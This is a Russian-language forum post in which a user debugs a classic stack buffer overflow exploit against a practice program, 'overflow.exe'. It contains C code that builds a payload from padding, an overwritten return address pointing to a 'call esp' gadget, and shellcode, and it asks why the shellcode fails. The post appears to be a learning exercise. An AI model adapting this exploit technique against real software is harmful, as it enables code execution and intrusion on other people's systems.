Показать сообщение отдельно

  #10  
Старый 17.02.2013, 19:18
0o Chris o0
Участник форума
Регистрация: 16.10.2011
Сообщений: 142
С нами: 7670486

Репутация: 0
По умолчанию

Цитата:
Сообщение от RoksHD  
Регистр ESP указывает ВСЕГДА на вершину стека. Если у тебя правильно перетерся EIP, то ESP указывает на код, который идет после этого адреса (в моем шелкоде там идут нопы (0x90))
Да, надо было несколько \x35 убрать и все заработало Сейчас переделаю свой код.

Upd.

Код:
#include 
#include 
#include 

char shellcode[] =
"\x31\xc0\xbb\x46"
"\x24\x80\x7c\x66"
"\xb8\x98\x3a\x50"
"\xff\xd3";

int main(int argc, char* argv[]) {
    char buf[300];
    char exec[600];
    memset(buf,0x00,sizeof(buf));
    memset(buf,0x41,112);
    buf[112] = '\x83';
    buf[113] = '\x9F';
    buf[114] = '\x80';
    buf[115] = '\x7c';
    //memset(buf+strlen(buf), 0x90, 5);
    memcpy(buf+strlen(buf), &shellcode, strlen(shellcode)); 
    sprintf(exec,"overflow.exe %s",buf);
    system(exec);
    system("pause");
    return 0;
}
На выходе имею:



Судя по всему call esp выполняется, чтобы проверить записываем после call esp перед шеллом 5 нопов.



Теперь в выводе видим, что эти 5 нопов появились в команде, значит call esp выполнился и нас перебросило на шеллкод. Так вот не понимаю, почему он не выполняется



P.S. Вопрос для знатоков, можно ли в IDA, при вызове одной программы из другой, как в данном случае например, дизассемблировать вызываемую программу? То есть если exec.exe вызывает overflow.exe - IDA во время вызова overflow.exe, подключается к ней.
 
Ответить с цитированием